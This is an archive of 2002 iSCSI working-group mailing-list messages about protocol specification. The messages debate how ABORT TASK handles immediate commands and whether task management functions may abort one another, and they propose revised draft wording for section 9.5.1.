g7UNMMf24614 for ips-outgoing; Fri, 30 Aug 2002 19:22:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UNMJo24608 for ; Fri, 30 Aug 2002 19:22:19 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7UNMAVb041552; Sat, 31 Aug 2002 01:22:10 +0200 Received: from JA31 (lig32-239-181-35.emea.lig-dial.ibm.com [32.239.181.35]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7UNM7ba054618; Sat, 31 Aug 2002 01:22:08 +0200 Message-ID: <00b201c2507c$0b995480$0100000a@JA31> From: "Julian Satran \(Actcom\)" To: Cc: References: <001c01c25053$3672b530$e0019d89@cybernetics.com> Subject: Re: iSCSI: aborting an immediate command with ABORT TASK Date: Sat, 31 Aug 2002 02:21:58 +0300 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00AF_01C25095.2EE82470" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_00AF_01C25095.2EE82470 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Immediate commands do not create holes. Immediate commands can be = aborted ONLY if referenced by their ITT. Again RefCmdSN is used only if the command is not found by ITT - and = then only to avoid having to send a duplicate command. Julo ----- Original Message -----=20 From: Tony Battersby=20 To: 'Julian Satran'=20 Cc: ips@ece.cmu.edu=20 Sent: 30 August, 2002 21:29 Subject: RE: iSCSI: aborting an immediate command with ABORT TASK In my example, the command with the Initiator Task Tag matching the = Referenced Task Tag is not at the target. When the target considers the = command with RefCmdSN received, it assumes _incorrectly_ that the = command with RefCmdSN must have Initiator Task Tag =3D=3D Referenced = Task Tag. That assumption can be incorrect when immediate commands are = used because multiple commands with different Initiator Task Tags can = have the same CmdSN. This is just another way of looking at the = problem, but the problem still exists. -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 30, 2002 2:15 PM To: tonyb@cybernetics.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI: aborting an immediate command with ABORT TASK Tony,=20 As it was already pointed out CmSN is a SECONDARY identifier - the = primary being the Referenced Task Tag.=20 I was introduced to simplify handling holes (commands discarded or = arriving late).=20 In your example A and B have different ITT or one of them gets bumped. = Julo=20 "Tony Battersby" =20 Sent by: owner-ips@ece.cmu.edu=20 30/08/02 20:16=20 Please respond to tonyb=20 =20 To: =20 cc: =20 Subject: iSCSI: aborting an immediate command = with ABORT TASK=20 =20 It seems that an initiator attempting to abort an immediate command = may inadvertently cause the next non-immediate command to be aborted = instead. For example, Initiator sends an immediate command "A" with CmdSN 10. Initiator sends a non-immediate command "B" with CmdSN 10. Initiator sends an immediate ABORT TASK command "C" with CmdSN 11 to = abort command "A" (RefCmdSN =3D=3D 10, Referenced Task Tag =3D=3D Initiator = Task Tag of "A"). If the target either: 1) Receives "C" before "A" or "B", OR 2) Receives "C" before "B" but after executing and freeing "A", ...then the target will not have a matching task for the abort in its = queue, and will consider CmdSN 10 received because it is inside the valid = CmdSN window. If the target then receives "B", it will silently ignore the command because it is outside the valid CmdSN window. This is = obviously not what the initiator was trying to accomplish. This problem could be solved by adding a flag to the PDU for the ABORT = TASK command to indicate if the task to be aborted is immediate or = non-immediate. If the target does not have a matching task and the RefCmdSN is inside = the valid command window, then the target should consider the CmdSN = received only if the flag indicates that the task to be aborted is = non-immediate. ----------------------- One other thing: for draft 16, I recommend that the the following = phrase: "... (i.e., with CmdSN not higher than the task management command = CmdSN) ..." in section 9.5.1 be changed to: "... (i.e., with CmdSN lower than the task management command CmdSN) = ...". This is for consistency with another sentence earlier in the same = paragraph. Anthony J. Battersby Cybernetics ------=_NextPart_000_00AF_01C25095.2EE82470 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Immediate commands do not create holes. = Immediate=20 commands can be aborted ONLY if referenced by their ITT.
Again RefCmdSN is used only if the = command is not=20 found by ITT - and then only to avoid having to send a duplicate=20 command.
 
Julo
----- Original Message -----
From:=20 Tony=20 Battersby
Sent: 30 August, 2002 = 21:29
Subject: RE: iSCSI: aborting an = immediate=20 command with ABORT TASK

In = my example, the=20 command with the Initiator Task Tag matching the Referenced Task Tag = is not at=20 the target.  When the target considers the command with = RefCmdSN=20 received, it assumes _incorrectly_ that the command with RefCmdSN must = have=20 Initiator Task Tag =3D=3D Referenced Task Tag.  That assumption = can=20 be incorrect when immediate commands are used because = multiple=20 commands with different Initiator Task Tags can have the same = CmdSN. =20 This is just another way of looking at the problem, but the = problem still=20 exists.
 
 
  -----Original=20 Message-----
From: Julian Satran=20 [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 30, = 2002 2:15=20 PM
To: tonyb@cybernetics.com
Cc: ips@ece.cmu.edu;=20 owner-ips@ece.cmu.edu
Subject: Re: iSCSI: aborting an = immediate=20 command with ABORT TASK

Tony,

As it = was already=20 pointed out CmSN is a SECONDARY identifier - the primary being the = Referenced=20 Task Tag.
I was introduced = to simplify=20 handling holes (commands discarded or arriving late).
In your example A and B have different ITT = or one of=20 them gets bumped.

Julo=20



"Tony Battersby"=20 <tonyb@cybernetics.com>
Sent by: owner-ips@ece.cmu.edu=20

30/08/02 20:16 =
Please respond to tonyb =

        =
        To: =    =20    <ips@ece.cmu.edu>
        cc:      =20  
    =  =20   Subject:        iSCSI: aborting an = immediate=20 command with ABORT TASK

 =20     =  


It seems that an initiator attempting to = abort an=20 immediate command may
inadvertently cause the next non-immediate = command to=20 be aborted instead.
For example,

Initiator sends an = immediate=20 command "A" with CmdSN 10.
Initiator sends a non-immediate command = "B" with=20 CmdSN 10.
Initiator sends an immediate ABORT TASK command "C" with = CmdSN 11=20 to abort
command "A" (RefCmdSN =3D=3D 10, Referenced Task Tag = =3D=3D Initiator Task=20 Tag of
"A").

If the target either:
1) Receives "C" before = "A" or=20 "B", OR
2) Receives "C" before "B" but after executing and freeing=20 "A",

...then the target will not have a matching task for the = abort in=20 its queue,
and will consider CmdSN 10 received because it is inside = the=20 valid CmdSN
window.  If the target then receives "B", it will = silently=20 ignore the
command because it is outside the valid CmdSN window. =  This=20 is obviously not
what the initiator was trying to = accomplish.

This=20 problem could be solved by adding a flag to the PDU for the ABORT=20 TASK
command to indicate if the task to be aborted is immediate or=20 non-immediate.
If the target does not have a matching task and the = RefCmdSN=20 is inside the
valid command window, then the target should consider = the=20 CmdSN received
only if the flag indicates that the task to be = aborted is=20 non-immediate.

-----------------------

One other thing: = for=20 draft 16, I recommend that the the following phrase:
"... (i.e., = with CmdSN=20 not higher than the task management command CmdSN)
..."
in = section 9.5.1=20 be changed to:
"... (i.e., with CmdSN lower than the task = management=20 command CmdSN) ...".
This is for consistency with another sentence = earlier=20 in the same paragraph.


Anthony J.=20 = Battersby
Cybernetics



= ------=_NextPart_000_00AF_01C25095.2EE82470-- From owner-ips@ece.cmu.edu Fri Aug 30 23:34:22 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA13991 for ; Fri, 30 Aug 2002 23:34:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7V2jig04139 for ips-outgoing; Fri, 30 Aug 2002 22:45:44 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7V2jfo04135 for ; Fri, 30 Aug 2002 22:45:41 -0400 (EDT) Received: from rosemail.rose.hp.com (rosemail.rose.hp.com [15.96.64.26]) by palrel12.hp.com (Postfix) with ESMTP id 88F7BE00B3A; Fri, 30 Aug 2002 19:45:40 -0700 (PDT) Received: from swathi (swathi.rose.hp.com [15.43.213.237]) by rosemail.rose.hp.com with SMTP (8.7.1/8.7.3 SMKit7.02) id TAA01951; Fri, 30 Aug 2002 19:45:40 -0700 (PDT) Message-ID: <010b01c25098$7cf70610$edd52b0f@rose.hp.com> From: "Mallikarjun C." To: , , References: <277DD60FB639D511AC0400B0D068B71E0564C243@CORPMX14> Subject: Re: iSCSI: TMF valid on all iSCSI taks? ( Was: Several iSCSI protocol questions) Date: Fri, 30 Aug 2002 19:45:37 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit The intent consistently expressed in the draft is that all iSCSI tasks are the same in that they are "managed" by the same task management functions (proposed exceptions below) - some iSCSI tasks are also SCSI tasks as a co-incidence. Technically, I thought we had concluded in the past that, one could use Abort Task TMF to abort Text Requests as well (and that's reflected in 2.2.2.1, second para). I think this is one of the core ideas in the draft, and not worth risking a last minute change. Tony caught a scenario that however, I think, merits an explicit clarification in the draft - due to the inherent ambiguity in delivering an Abort Task TMF to the SCSI layer that's directed at an abort operation already being carried out by the SCSI layer (What does a successful completion of the second abort mean to the original task state? Should the first Abort response be sent back or not?). OTOH, there's no ambiguity for the Task Set management case, because one knows that all the tasks are dead once the TMF completes (SCSI tasks, iSCSI "abort" tasks, everything). I suggest that we add a clarification for the "Abort-of-Abort" case, and a couple of others (one of which is currently covered in 9.10) in one new subsection. ---------------------------------------------------------------------------- 9.5.7 Exceptions to Task Management Function Request usage The following two exceptions apply to the usage of iSCSI Task Management functions defined earlier in the document. a) The ABORT TASK task management function request MUST NOT be directed at a prior iSCSI task performing an ABORT TASK task management function request. b) The TASK REASSIGN task management function request MUST NOT be used to reassign the connection allegiance of an active text negotiation task, or a Logout task. ------------------------------------------------------------------------------ If we do this, we'd have to - Have the "any iSCSI task" language in section 2.2.2.1, second para to point to the new 9.5.7, to make the reader aware of the exceptions. - ditto for the first sentence in 9.5.1. - ditto for the "All these functions apply..." sentence later in 9.5.1 that David identified. Comments? -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: To: ; Sent: Friday, August 30, 2002 7:58 AM Subject: RE: Several iSCSI protocol questions > > > > Since the Task Management Function itself has a CmdSN and > > > > valid LUN, can one > > > > Task Management Function affect (abort) another? > > > > > > No, SCSI task management functions operate on *SCSI* tasks, not *iSCSI* > > > tasks, and a task management function is not a *SCSI* task - see SAM-2. > > > > This contradicts the text in Section 9.5.1: "The Task Management functions > > provide an initiator with a way to explicitly control the execution of one > > or more Tasks (SCSI and iSCSI tasks)." Your interpretation makes more > sense > > to me, however. > > And there's more text further down in 9.5.1 that seems to imply that > one ought to be able to abort a Task Management Function. > > All these functions apply to the referenced tasks regard- > less of whether they are proper SCSI tasks or tagged iSCSI opera- > tions. > > I think you've caught something we need to fix ... > > > > > If not, then what is the > > > > appropriate Task Management Function Response for an ABORT TASK that > > > > attempts to operate on another Task Management Function? > > > > > > That can't happen. The only task management function that could > possibly > > > attempt "to operate on another Task Management Function" is ABORT TASK, > but > > > it identifies the task to be aborted by an Initiator Task Tag, something > > > that Task Management Functions *do not* have - see Section > > > 9.5 of the iSCSI draft. > > > > I am looking at Section 9.5. I see "Initiator Task Tag" in the table > > showing the PDU format, although it is not mentioned in the > > text. Another typo? > > My mistake - I think we have some text cleanup to do, as SAM-2 definitely > considers task management functions not to be tasks, thus avoiding issues > of what happens when a task management function is applied to a task > management function - I believe iSCSI needs to follow this route. Julian? > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > From owner-ips@ece.cmu.edu Sat Aug 31 02:15:21 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA20188 for ; Sat, 31 Aug 2002 02:15:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7V5ctu11143 for ips-outgoing; Sat, 31 Aug 2002 01:38:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7V5cro11137 for ; Sat, 31 Aug 2002 01:38:53 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7V5ccVb038948; Sat, 31 Aug 2002 07:38:38 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7V5cORM017776; Sat, 31 Aug 2002 07:38:37 +0200 To: "Mallikarjun C." Cc: Black_David@emc.com, ips@ece.cmu.edu, owner-ips@ece.cmu.edu, tonyb@cybernetics.com MIME-Version: 1.0 Subject: Re: iSCSI: TMF valid on all iSCSI taks? ( Was: Several iSCSI protocol questions) X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sat, 31 Aug 2002 08:38:20 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 31/08/2002 08:38:37, Serialize complete at 31/08/2002 08:38:37 Content-Type: multipart/alternative; boundary="=_alternative 001DE733C2256C26_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001DE733C2256C26_= Content-Type: text/plain; charset="us-ascii" Mallikarjun, Do we really need those exceptions? For the ABORT TASK the only ambiguity I see in the text is that of what is the result of an ABORT TASK on an ABORT TASK. I thought that the return of a response for each will be an indication of the action taken. To really simplify thing and not build excessive logic around it I suggest that we say that a target will never execute a TM abort task on a TM function. The text of 9.5.1 becomes: Function The Task Management functions provide an initiator with a way to explicitly control the execution of one or more Tasks (SCSI and iSCSI tasks). The Task Management function codes are listed below. For a more detailed description of SCSI task management, see [SAM2]. 1 - ABORT TASK - aborts the task identified by the Referenced Task Tag field. 2 - ABORT TASK SET - aborts all Tasks issued via this session on the logical unit. 3 - CLEAR ACA - clears the Auto Contingent Allegiance condition. 4 - CLEAR TASK SET - aborts all Tasks in the appropriate task set as defined by the TST field in the Control mode page (see [SPC3]). 5 - LOGICAL UNIT RESET 6 - TARGET WARM RESET 7 - TARGET COLD RESET 8 - TASK REASSIGN - reassigns connection allegiance for the task identified by the Initiator Task Tag field to this connection, thus resuming the iSCSI exchanges for the task. For all these functions, the Task Management function response MUST be returned as detailed in Section 9.6 Task Management Function Response. All these functions apply to the referenced tasks regardless of whether they are proper SCSI tasks or tagged iSCSI operations. Task management requests must act on all the commands having a CmdSN lower than the task management CmdSN. If the task management request is marked for immediate delivery, it must be considered immediately for execution, but the operations involved (all or part of them) may be postponed to allow the target to receive all relevant tasks. According to [SAM2], for all the tasks covered by the Task Management response (i.e., with CmdSN not higher than the task management command CmdSN), additional responses MUST NOT be delivered to the SCSI layer after the Task Management response. The iSCSI initiator MAY deliver to the SCSI layer all responses received before the Task Management response (i.e., it is a matter of implementation if the SCSI responses, received before the Task Management response but after the task management request was issued, are delivered to the SCSI layer by the iSCSI layer in the initiator). The iSCSI target MUST ensure that no responses for the tasks covered by a task management function are delivered to the iSCSI initiator after the Task Management response. For ABORT TASK SET and CLEAR TASK SET, the issuing initiator MUST continue to respond to all valid target transfer tags (received via R2T, Text Response, NOP-In, or SCSI Data-in PDUs) related to the affected task set, even after issuing the task management request. The issuing initiator SHOULD however terminate (i.e., by setting the F-bit to 1) these response sequences as quickly as possible. The target on its part MUST wait for responses on all affected target transfer tags before acting on either of these two task management requests. In case all or part of the response sequence is not received (due to digest errors) for a valid TTT, the target MAY treat it as a case of within-command error recovery class (see Section 5.1.4.1 Recovery Within-command) if it is supporting ErrorRecoveryLevel >= 1, or alternatively may drop the connection to complete the requested task set function. If the connection is still active (it is not undergoing an implicit or explicit logout), ABORT TASK MUST be issued on the same connection to which the task to be aborted is allegiant at the time the Task Management Request is issued. If the connection is implicitly or explicitly logged out (i.e., no other request will be issued on the failing connection and no other response will be received on the failing connection), then an ABORT TASK function request may be issued on another connection. This Task Management request will then establish a new allegiance for the command to be aborted as well as abort it (i.e., the task to be aborted will not have to be retried or reassigned, and its status, if issued but not acknowledged, will be reissued followed by the Task Management response). At the target an ABORT TASK function MUST NOT be executed on a Task Management request; such a request MUST result in Task Management response of "Function rejected". For the LOGICAL UNIT RESET function, the target MUST behave as dictated by the Logical Unit Reset function in [SAM2]. The implementation of the TARGET WARM RESET function and the TARGET COLD RESET function is OPTIONAL and when implemented, should act as described below. The TARGET WARM RESET is also subject to SCSI access controls on the requesting initiator as defined in [SPC3]. When authorization fails at the target, the appropriate response as described in Section 9.6 Task Management Function Response MUST be returned by the target. The TARGET COLD RESET function is not subject to SCSI access controls, but its execution privileges may be managed by iSCSI mechanisms such as login authentication. When executing the TARGET WARM RESET and TARGET COLD RESET functions, the target cancels all pending operations on all Logical Units known by the issuing initiator. Both functions are equivalent to the Target Reset function specified by [SAM2]. They can affect many other initiators logged in with the servicing SCSI target port. The target MUST treat the TARGET COLD RESET function additionally as a power on event, thus terminating all of its TCP connections to all initiators (all sessions are terminated). For this reason, the Service Response (defined by [SAM2]) for this SCSI task management function may not be reliably delivered to the issuing initiator port. For the TASK REASSIGN function, the target should reassign the connection allegiance to this new connection (and thus resume iSCSI exchanges for the task). TASK REASSIGN MUST ONLY be received by the target after the connection on which the command was previously executing has been successfully logged-out. The Task Management response MUST be issued before the reassignment becomes effective. For additional usage semantics see Section 5.2 Retry and Reassign in Recovery. At the target a TASK REASSIGN function request MUST NOT be executed to reassign the connection allegiance of a Task Management function request an active text negotiation task, or a Logout task; such a request MUST result in Task Management response of "Function rejected". TASK REASSIGN MUST be issued as an immediate command. "Mallikarjun C." Sent by: owner-ips@ece.cmu.edu 31/08/02 05:45 To: , , cc: Subject: Re: iSCSI: TMF valid on all iSCSI taks? ( Was: Several iSCSI protocol questions) The intent consistently expressed in the draft is that all iSCSI tasks are the same in that they are "managed" by the same task management functions (proposed exceptions below) - some iSCSI tasks are also SCSI tasks as a co-incidence. Technically, I thought we had concluded in the past that, one could use Abort Task TMF to abort Text Requests as well (and that's reflected in 2.2.2.1, second para). I think this is one of the core ideas in the draft, and not worth risking a last minute change. Tony caught a scenario that however, I think, merits an explicit clarification in the draft - due to the inherent ambiguity in delivering an Abort Task TMF to the SCSI layer that's directed at an abort operation already being carried out by the SCSI layer (What does a successful completion of the second abort mean to the original task state? Should the first Abort response be sent back or not?). OTOH, there's no ambiguity for the Task Set management case, because one knows that all the tasks are dead once the TMF completes (SCSI tasks, iSCSI "abort" tasks, everything). I suggest that we add a clarification for the "Abort-of-Abort" case, and a couple of others (one of which is currently covered in 9.10) in one new subsection. ---------------------------------------------------------------------------- 9.5.7 Exceptions to Task Management Function Request usage The following two exceptions apply to the usage of iSCSI Task Management functions defined earlier in the document. a) The ABORT TASK task management function request MUST NOT be directed at a prior iSCSI task performing an ABORT TASK task management function request. b) The TASK REASSIGN task management function request MUST NOT be used to reassign the connection allegiance of an active text negotiation task, or a Logout task. ------------------------------------------------------------------------------ If we do this, we'd have to - Have the "any iSCSI task" language in section 2.2.2.1, second para to point to the new 9.5.7, to make the reader aware of the exceptions. - ditto for the first sentence in 9.5.1. - ditto for the "All these functions apply..." sentence later in 9.5.1 that David identified. Comments? -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: To: ; Sent: Friday, August 30, 2002 7:58 AM Subject: RE: Several iSCSI protocol questions > > > > Since the Task Management Function itself has a CmdSN and > > > > valid LUN, can one > > > > Task Management Function affect (abort) another? > > > > > > No, SCSI task management functions operate on *SCSI* tasks, not *iSCSI* > > > tasks, and a task management function is not a *SCSI* task - see SAM-2. > > > > This contradicts the text in Section 9.5.1: "The Task Management functions > > provide an initiator with a way to explicitly control the execution of one > > or more Tasks (SCSI and iSCSI tasks)." Your interpretation makes more > sense > > to me, however. > > And there's more text further down in 9.5.1 that seems to imply that > one ought to be able to abort a Task Management Function. > > All these functions apply to the referenced tasks regard- > less of whether they are proper SCSI tasks or tagged iSCSI opera- > tions. > > I think you've caught something we need to fix ... > > > > > If not, then what is the > > > > appropriate Task Management Function Response for an ABORT TASK that > > > > attempts to operate on another Task Management Function? > > > > > > That can't happen. The only task management function that could > possibly > > > attempt "to operate on another Task Management Function" is ABORT TASK, > but > > > it identifies the task to be aborted by an Initiator Task Tag, something > > > that Task Management Functions *do not* have - see Section > > > 9.5 of the iSCSI draft. > > > > I am looking at Section 9.5. I see "Initiator Task Tag" in the table > > showing the PDU format, although it is not mentioned in the > > text. Another typo? > > My mistake - I think we have some text cleanup to do, as SAM-2 definitely > considers task management functions not to be tasks, thus avoiding issues > of what happens when a task management function is applied to a task > management function - I believe iSCSI needs to follow this route. Julian? > > Thanks, > --David > --------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 42 South St., Hopkinton, MA 01748 > +1 (508) 249-6449 FAX: +1 (508) 497-8018 > black_david@emc.com Mobile: +1 (978) 394-7754 > --------------------------------------------------- > --=_alternative 001DE733C2256C26_= Content-Type: text/html; charset="us-ascii"
Mallikarjun,

Do we really need those exceptions?

For the ABORT TASK the only ambiguity I see in the text is that of what is the result of an ABORT TASK on an ABORT TASK. I thought that the return
of a response for each will be an indication of the action taken.

To really simplify thing and not build excessive logic around it I suggest that we say that a target will never execute a TM abort task on a TM function.

The text of 9.5.1 becomes:

Function

The Task Management functions provide an initiator with a way to explicitly control the execution of one or more Tasks (SCSI and iSCSI tasks). The Task Management function codes are listed below. For a more detailed description of SCSI task management, see [SAM2].

1  -  ABORT TASK - aborts the task identified by the Referenced Task Tag field.

2  -  ABORT TASK SET - aborts all Tasks issued via this session on the logical unit.

3  -  CLEAR ACA - clears the Auto Contingent Allegiance condition.

4  -  CLEAR TASK SET - aborts all Tasks in the appropriate task set as defined by the TST field in the Control mode page (see [SPC3]).

5  -  LOGICAL UNIT RESET

6  -  TARGET WARM RESET

7                  -  TARGET COLD RESET

8  -  TASK REASSIGN - reassigns connection allegiance for the task identified by the Initiator Task Tag field to this connection, thus resuming the iSCSI exchanges for the task.

For all these functions, the Task Management function response MUST be returned as detailed in Section 9.6 Task Management Function Response. All these functions apply to the referenced tasks regardless of whether they are proper SCSI tasks or tagged iSCSI operations.  Task management requests must act on all the commands having a CmdSN lower than the task management CmdSN. If the task management request is marked for immediate delivery, it must be considered immediately for execution, but the operations involved (all or part of them) may be postponed to allow the target to receive all relevant tasks. According to [SAM2], for all the tasks covered by the Task Management response (i.e., with CmdSN not higher than the task management command CmdSN), additional responses MUST NOT be delivered to the SCSI layer after the Task Management response. The iSCSI initiator MAY deliver to the SCSI layer all responses received before the Task Mana! gement response (i.e., it is a matter of implementation if the SCSI responses, received before the Task Management response but after the task management request was issued, are delivered to the SCSI layer by the iSCSI layer in the initiator). The iSCSI target MUST ensure that no responses for the tasks covered by a task management function are delivered to the iSCSI initiator after the Task Management response.

For ABORT TASK SET and CLEAR TASK SET, the issuing initiator MUST continue to respond to all valid target transfer tags (received via R2T, Text Response, NOP-In, or SCSI Data-in PDUs) related to the affected task set, even after issuing the task management request.  The issuing initiator SHOULD however terminate (i.e., by setting the F-bit to 1) these response sequences as quickly as possible.  The target on its part MUST wait for responses on all affected target transfer tags before acting on either of these two task management requests.  In case all or part of the response sequence is not received (due to digest errors) for a valid TTT, the target MAY treat it as a case of within-command error recovery class (see Section 5.1.4.1 Recovery Within-command) if it is supporting ErrorRecoveryLevel >= 1, or alternatively may drop the connection to complete the requested task set function.

If the connection is still active (it is not undergoing an implicit or explicit logout), ABORT TASK MUST be issued on the same connection to which the task to be aborted is allegiant at the time the Task Management Request is issued. If the connection is implicitly or explicitly logged out (i.e., no other request will be issued on the failing connection and no other response will be received on the failing connection), then an ABORT TASK function request may be issued on another connection. This Task Management request will then establish a new allegiance for the command to be aborted as well as abort it (i.e., the task to be aborted will not have to be retried or reassigned, and its status, if issued but not acknowledged, will be reissued followed by the Task Management response).

At the target an ABORT TASK function MUST NOT be executed on a Task Management request; such a request MUST result in Task Management response of "Function rejected".

For the LOGICAL UNIT RESET function, the target MUST behave as dictated by the Logical Unit Reset function in [SAM2].

The implementation of the TARGET WARM RESET function and the TARGET COLD RESET function is OPTIONAL and when implemented, should act as described below. The TARGET WARM RESET is also subject to SCSI access controls on the requesting initiator as defined in [SPC3].  When authorization fails at the target, the appropriate response as described in Section 9.6 Task Management Function Response MUST be returned by the target. The TARGET COLD RESET function is not subject to SCSI access controls, but its execution privileges may be managed by iSCSI mechanisms such as login authentication.

When executing the TARGET WARM RESET and TARGET COLD RESET functions, the target cancels all pending operations on all Logical Units known by the issuing initiator. Both functions are equivalent to the Target Reset function specified by [SAM2]. They can affect many other initiators logged in with the servicing SCSI target port.

The target MUST treat the TARGET COLD RESET function additionally as a power on event, thus terminating all of its TCP connections to all initiators (all sessions are terminated).  For this reason, the Service Response (defined by [SAM2]) for this SCSI task management function may not be reliably delivered to the issuing initiator port.

For the TASK REASSIGN function, the target should reassign the connection allegiance to this new connection (and thus resume iSCSI exchanges for the task). TASK REASSIGN MUST ONLY be received by the target after the connection on which the command was previously executing has been successfully logged-out. The Task Management response MUST be issued before the reassignment becomes effective.
For additional usage semantics see Section 5.2 Retry and Reassign in Recovery.

At the target a TASK REASSIGN function request MUST NOT be executed to reassign the connection allegiance of a Task Management function request an active text negotiation task, or a Logout task; such a request MUST result in Task Management response of "Function rejected".

TASK REASSIGN MUST be issued as an immediate command.



"Mallikarjun C." <cbm@rose.hp.com>
Sent by: owner-ips@ece.cmu.edu

31/08/02 05:45

       
        To:        <Black_David@emc.com>, <tonyb@cybernetics.com>, <ips@ece.cmu.edu>
        cc:        
        Subject:        Re: iSCSI: TMF valid on all iSCSI taks? ( Was: Several iSCSI protocol questions)

       


The intent consistently expressed in the draft is that all iSCSI tasks
are the same in that they are "managed" by the same task management
functions (proposed exceptions below) - some iSCSI tasks are also SCSI
tasks as a co-incidence.  Technically, I thought we had concluded in
the past that, one could use Abort Task TMF to abort Text Requests as well
(and that's reflected in 2.2.2.1, second para).  I think this is one of
the core ideas in the draft, and not worth risking a last minute change.

Tony caught a scenario that however, I think, merits an explicit clarification in
the draft - due to the inherent ambiguity in delivering an Abort Task
TMF to the SCSI layer that's directed at an abort operation already
being carried out by the SCSI layer (What does a successful completion
of the second abort mean to the original task state?  Should the first
Abort response be sent back or not?).  OTOH, there's no ambiguity
for the Task Set management case, because one knows that all the tasks
are dead once the TMF completes (SCSI tasks, iSCSI "abort"
tasks, everything).

I suggest that we add a clarification for the "Abort-of-Abort" case, and
a couple of others (one of which is currently covered in 9.10) in one
new subsection.

----------------------------------------------------------------------------
9.5.7 Exceptions to Task Management Function Request usage

The following two exceptions apply to the usage of iSCSI Task Management
functions defined earlier in the document.

      a) The ABORT TASK task management function request MUST NOT
       be directed at a prior iSCSI task performing an ABORT TASK task
       management function request.

      b) The TASK REASSIGN task management function request MUST
      NOT be used to reassign the connection allegiance of an active text
      negotiation task, or a Logout task.
------------------------------------------------------------------------------

If we do this, we'd have to

   - Have the "any iSCSI task" language in section 2.2.2.1, second para to
      point to the new 9.5.7, to make the reader aware of the exceptions.
   - ditto for the first sentence in 9.5.1.
   - ditto for the "All these functions apply..." sentence later in 9.5.1 that
      David identified.

Comments?
--
Mallikarjun

Mallikarjun Chadalapaka
Networked Storage Architecture
Network Storage Solutions
Hewlett-Packard MS 5668
Roseville CA 95747
cbm@rose.hp.com

----- Original Message -----
From: <Black_David@emc.com>
To: <tonyb@cybernetics.com>; <ips@ece.cmu.edu>
Sent: Friday, August 30, 2002 7:58 AM
Subject: RE: Several iSCSI protocol questions


> > > > Since the Task Management Function itself has a CmdSN and
> > > > valid LUN, can one
> > > > Task Management Function affect (abort) another?
> > >
> > > No, SCSI task management functions operate on *SCSI* tasks, not *iSCSI*
> > > tasks, and a task management function is not a *SCSI* task - see SAM-2.
> >
> > This contradicts the text in Section 9.5.1: "The Task Management functions
> > provide an initiator with a way to explicitly control the execution of one
> > or more Tasks (SCSI and iSCSI tasks)."  Your interpretation makes more
> sense
> > to me, however.
>
> And there's more text further down in 9.5.1 that seems to imply that
> one ought to be able to abort a Task Management Function.
>
>   All these functions apply to the referenced tasks regard-
>   less of whether they are proper SCSI tasks or tagged iSCSI opera-
>   tions.
>
> I think you've caught something we need to fix ...
>
> > > > If not, then what is the
> > > > appropriate Task Management Function Response for an ABORT TASK that
> > > > attempts to operate on another Task Management Function?
> > >
> > > That can't happen.  The only task management function that could
> possibly
> > > attempt "to operate on another Task Management Function" is ABORT TASK,
